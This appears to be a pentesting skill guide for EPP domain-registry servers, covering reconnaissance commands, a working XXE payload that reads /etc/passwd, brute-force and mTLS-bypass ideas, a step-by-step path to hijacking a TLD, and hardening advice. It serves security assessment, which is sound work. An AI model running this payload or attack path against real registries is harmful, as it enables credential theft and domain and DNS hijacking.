EPP Pentesting Skill
A comprehensive guide for security testing of Extensible Provisioning Protocol (EPP) servers used by domain name registries and registrars.
What is EPP?
The Extensible Provisioning Protocol (EPP) is a network protocol used for management of domain names and other internet resources by domain name registries and registrars. It enables automation of domain name registration, renewal, transfer, and deletion processes.
Key characteristics:
- Typically listens on TCP port 700 over TLS
- Uses XML for communication (XXE vulnerability surface)
- Often implements mutual-TLS (mTLS) for client authentication
- Used by TLD registrars to communicate with domain registrars
Enumeration & Reconnaissance
Step 1: Discover EPP Endpoints
EPP servers are often hidden behind generic hostnames like ot&e.<tld>.nic.<cc>. Start with port scanning:
# Scan for EPP port
nmap -p700 <target>
# Banner-grabbing and TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
Step 2: Check mTLS Requirements
Many private test or pre-production deployments forget to enforce mTLS:
# Check if mTLS is really required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head
If the server does not terminate the connection after the TLS handshake, you can attempt to send an unauthenticated <hello/> message:
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>
Step 3: Use Automated Tools
Recommended open-source clients:
epp-client (Go) – Actively maintained, supports TCP/TLS and EPP-over-HTTPS (RFC 8730):
go install github.com/domainr/epp/cmd/epp@latestgandi/go-epp – Minimal client library for fuzzing or nuclei-style workflows
afq984/php-epp-client – PHP implementation used by many small registrars
Common Vulnerabilities (2023-2025)
| Year | Component | CWE | Impact |
|---|---|---|---|
| 2023 | CoCCA Registry < 3.5 | CWE-611 XXE | Remote file read & SSRF via crafted <epp> payload |
| 2024 | FRED EPP Server 2.x | CWE-322 Insufficient TLS cert validation | Bypass of mTLS allowed unauthorized registrar login |
| 2025 | Proprietary registrar panel | CWE-306 Missing Authentication for Critical Function | Domain transfer approval endpoint exposed over EPP-HTTP bridge |
XXE / SSRF Exploitation
EPP uses XML, making it vulnerable to XXE when parsers are misconfigured. This payload works against many Java/Spring implementations:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>
When the parser is misconfigured (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true), the file content is returned inside the <resData> structure.
Other Typical Findings
Weak credential policy – EPP login passphrases shorter than 8 characters; brute-force is often feasible because the spec only RECOMMENDS (not requires) rate-limiting
Missing
registryLock/serverUpdateProhibitedstatus – Once authenticated, attackers can immediately update NS records and steal trafficUnsigned poll messages – Some implementations still do not sign poll Q&A messages, enabling spoofing/phishing of registrar operators
Attack Path: From Zero to TLD Hijack
Follow this methodology for comprehensive EPP assessment:
Discover an EPP endpoint (often hidden behind a generic host like
ot&e.<tld>.nic.<cc>)Abuse weaknesses to gain registrar-level credentials:
- XXE → SSRF to IMDSv1, credential exfiltration
- TLS-bypass if mTLS is not enforced
- Brute-force weak credentials
Issue
<update>requests to change the domain'shostObjrecords to attacker-controlled name serversSubmit
<transfer>to move the domain to an attacker-controlled registrar – many registries still rely on a single auth-codeProfit: Full control of DNS zone, ability to request TLS certificates via ACME
Defensive Measures & Hardening
When providing remediation guidance, recommend:
- Enforce mTLS with per-registrar client certificates and pin the registry CA
- Set
parserFeature secure-processing=trueor equivalent to kill XXE - Run continuous fuzzing of the XML parser (e.g., with
go-fuzzorjazzerfor Java) - Deploy Registry Lock / server*Prohibited statuses for high-value domains
- Monitor
pollqueue for suspicious<transfer>or<update>commands and alert in real-time - Leverage ICANN 2024 DNS-Abuse contract amendments requiring registries to prove rate-limit & auth controls
References
- ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Consequences of Registry Operator Failure to Implement EPP Security Controls". 2024.
- HackCompute – "Hacking EPP servers: abusing XXE to hijack TLDs" (2023).
- RFC 5730 – Extensible Provisioning Protocol (EPP)
- RFC 8730 – EPP over HTTPS
Scripts
Use the bundled scripts for common tasks:
scripts/epp-enumerate.sh– Banner grabbing and TLS inspectionscripts/epp-xxe-test.sh– Test for XXE vulnerabilitiesscripts/epp-login-test.go– Minimal login+check script for testing authentication